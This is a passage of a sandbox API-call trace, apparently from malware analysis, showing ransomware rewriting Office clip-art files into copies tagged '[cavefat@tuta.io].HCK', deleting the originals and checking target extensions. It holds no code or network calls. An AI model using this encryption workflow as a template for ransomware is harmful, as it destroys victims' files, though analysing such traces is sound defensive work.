dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.269] GetLastError () returned 0x0 [0237.269] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xd28, lpOverlapped=0x0) returned 1 [0237.270] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xd30, lpOverlapped=0x0) returned 1 [0237.271] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.271] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.271] SetEndOfFile (hFile=0x4a4) returned 1 [0237.271] CloseHandle (hObject=0x4a4) returned 1 [0237.272] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.272] SetEndOfFile (hFile=0x4c0) returned 1 [0237.274] CloseHandle (hObject=0x4c0) returned 1 [0237.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0237.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.276] lstrlenW (lpString=".doc") returned 4 [0237.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString=".docx") returned 5 [0237.276] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.276] lstrlenW (lpString=".pdf") returned 4 [0237.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString=".xls") returned 4 [0237.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.276] lstrlenW (lpString=".xlsx") returned 5 [0237.276] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.276] lstrlenW (lpString=".ppt") returned 4 [0237.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.276] lstrlenW (lpString=".zip") returned 4 [0237.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.276] lstrlenW (lpString=".rar") returned 4 [0237.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString=".bz2") returned 4 [0237.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString=".7z") returned 3 [0237.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.276] lstrlenW (lpString=".dbf") returned 4 [0237.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.276] lstrlenW (lpString=".1cd") returned 4 [0237.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.276] lstrlenW (lpString=".jpg") returned 4 [0237.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.276] lstrlenW (lpString=".doc") returned 4 [0237.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString=".docx") returned 5 [0237.276] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.276] lstrlenW (lpString=".pdf") returned 4 [0237.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.276] lstrlenW (lpString=".xls") returned 4 [0237.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.276] lstrlenW (lpString=".xlsx") returned 5 [0237.276] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.276] lstrlenW (lpString=".ppt") returned 4 [0237.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.277] lstrlenW (lpString=".zip") returned 4 [0237.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.277] lstrlenW (lpString=".rar") returned 4 [0237.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.277] lstrlenW (lpString=".bz2") returned 4 [0237.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.277] lstrlenW (lpString=".7z") returned 3 [0237.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.277] lstrlenW (lpString=".dbf") returned 4 [0237.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.277] lstrlenW (lpString=".1cd") returned 4 [0237.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0237.277] lstrlenW (lpString=".jpg") returned 4 [0237.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.277] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.277] lstrlenW (lpString="J0152590.WMF") returned 12 [0237.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.278] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=10932) returned 1 [0237.278] CloseHandle (hObject=0x4c0) returned 1 [0237.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220 [0237.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.279] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.279] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.280] GetLastError () returned 0x0 [0237.280] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x2ab4, lpOverlapped=0x0) returned 1 [0237.281] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x2ac0, lpOverlapped=0x0) returned 1 [0237.282] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.282] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.282] SetEndOfFile (hFile=0x4a4) returned 1 [0237.282] CloseHandle (hObject=0x4a4) returned 1 [0237.282] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.283] SetEndOfFile (hFile=0x4c0) returned 1 [0237.284] CloseHandle (hObject=0x4c0) returned 1 [0237.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0237.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.286] lstrlenW (lpString=".doc") returned 4 [0237.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.286] lstrlenW (lpString=".docx") returned 5 [0237.286] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.286] lstrlenW (lpString=".pdf") returned 4 [0237.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.286] lstrlenW (lpString=".xls") returned 4 [0237.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.286] lstrlenW (lpString=".xlsx") returned 5 [0237.286] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.286] lstrlenW (lpString=".ppt") returned 4 [0237.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.286] lstrlenW (lpString=".zip") returned 4 [0237.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.286] lstrlenW (lpString=".rar") returned 4 [0237.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.286] lstrlenW (lpString=".bz2") returned 4 [0237.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.286] lstrlenW (lpString=".7z") returned 3 [0237.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.286] lstrlenW (lpString=".dbf") returned 4 [0237.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.286] lstrlenW (lpString=".1cd") returned 4 [0237.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.286] lstrlenW (lpString=".jpg") returned 4 [0237.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.286] lstrlenW (lpString=".doc") returned 4 [0237.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.286] lstrlenW (lpString=".docx") returned 5 [0237.286] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.286] lstrlenW (lpString=".pdf") returned 4 [0237.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.287] lstrlenW (lpString=".xls") returned 4 [0237.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.287] lstrlenW (lpString=".xlsx") returned 5 [0237.287] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.287] lstrlenW (lpString=".ppt") returned 4 [0237.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.287] lstrlenW (lpString=".zip") returned 4 [0237.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.287] lstrlenW (lpString=".rar") returned 4 [0237.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.287] lstrlenW (lpString=".bz2") returned 4 [0237.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.287] lstrlenW (lpString=".7z") returned 3 [0237.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.287] lstrlenW (lpString=".dbf") returned 4 [0237.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.287] lstrlenW (lpString=".1cd") returned 4 [0237.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0237.287] lstrlenW (lpString=".jpg") returned 4 [0237.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.287] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.287] lstrlenW (lpString="J0152594.WMF") returned 12 [0237.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.288] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=6340) returned 1 [0237.288] CloseHandle (hObject=0x4c0) returned 1 [0237.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220 [0237.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.288] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.289] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.289] GetLastError () returned 0x0 [0237.289] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x18c4, lpOverlapped=0x0) returned 1 [0237.290] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0237.291] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.292] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.292] SetEndOfFile (hFile=0x4a4) returned 1 [0237.292] CloseHandle (hObject=0x4a4) returned 1 [0237.292] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.292] SetEndOfFile (hFile=0x4c0) returned 1 [0237.294] CloseHandle (hObject=0x4c0) returned 1 [0237.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0237.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.295] lstrlenW (lpString=".doc") returned 4 [0237.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.295] lstrlenW (lpString=".docx") returned 5 [0237.295] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0237.295] lstrlenW (lpString=".pdf") returned 4 [0237.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.295] lstrlenW (lpString=".xls") returned 4 [0237.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.295] lstrlenW (lpString=".xlsx") returned 5 [0237.295] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0237.295] lstrlenW (lpString=".ppt") returned 4 [0237.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.295] lstrlenW (lpString=".zip") returned 4 [0237.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.497] lstrlenW (lpString=".rar") returned 4 [0237.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.497] lstrlenW (lpString=".bz2") returned 4 [0237.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.497] lstrlenW (lpString=".7z") returned 3 [0237.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.497] lstrlenW (lpString=".dbf") returned 4 [0237.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.497] lstrlenW (lpString=".1cd") returned 4 [0237.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.497] lstrlenW (lpString=".jpg") returned 4 [0237.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.497] lstrlenW (lpString=".doc") returned 4 [0237.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.497] lstrlenW (lpString=".docx") returned 5 [0237.497] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0237.497] lstrlenW (lpString=".pdf") returned 4 [0237.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.497] lstrlenW (lpString=".xls") returned 4 [0237.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.497] lstrlenW (lpString=".xlsx") returned 5 [0237.497] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0237.498] lstrlenW (lpString=".ppt") returned 4 [0237.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.498] lstrlenW (lpString=".zip") returned 4 [0237.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.498] lstrlenW (lpString=".rar") returned 4 [0237.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.498] lstrlenW (lpString=".bz2") returned 4 [0237.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.498] lstrlenW (lpString=".7z") returned 3 [0237.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.498] lstrlenW (lpString=".dbf") returned 4 [0237.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.498] lstrlenW (lpString=".1cd") returned 4 [0237.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0237.498] lstrlenW (lpString=".jpg") returned 4 [0237.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.498] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.498] lstrlenW (lpString="J0152694.WMF") returned 12 [0237.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.500] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=1348) returned 1 [0237.500] CloseHandle (hObject=0x4d4) returned 1 [0237.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 0x220 [0237.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.501] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.501] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0237.505] GetLastError () returned 0x0 [0237.505] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x544, lpOverlapped=0x0) returned 1 [0237.506] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x349fc94, 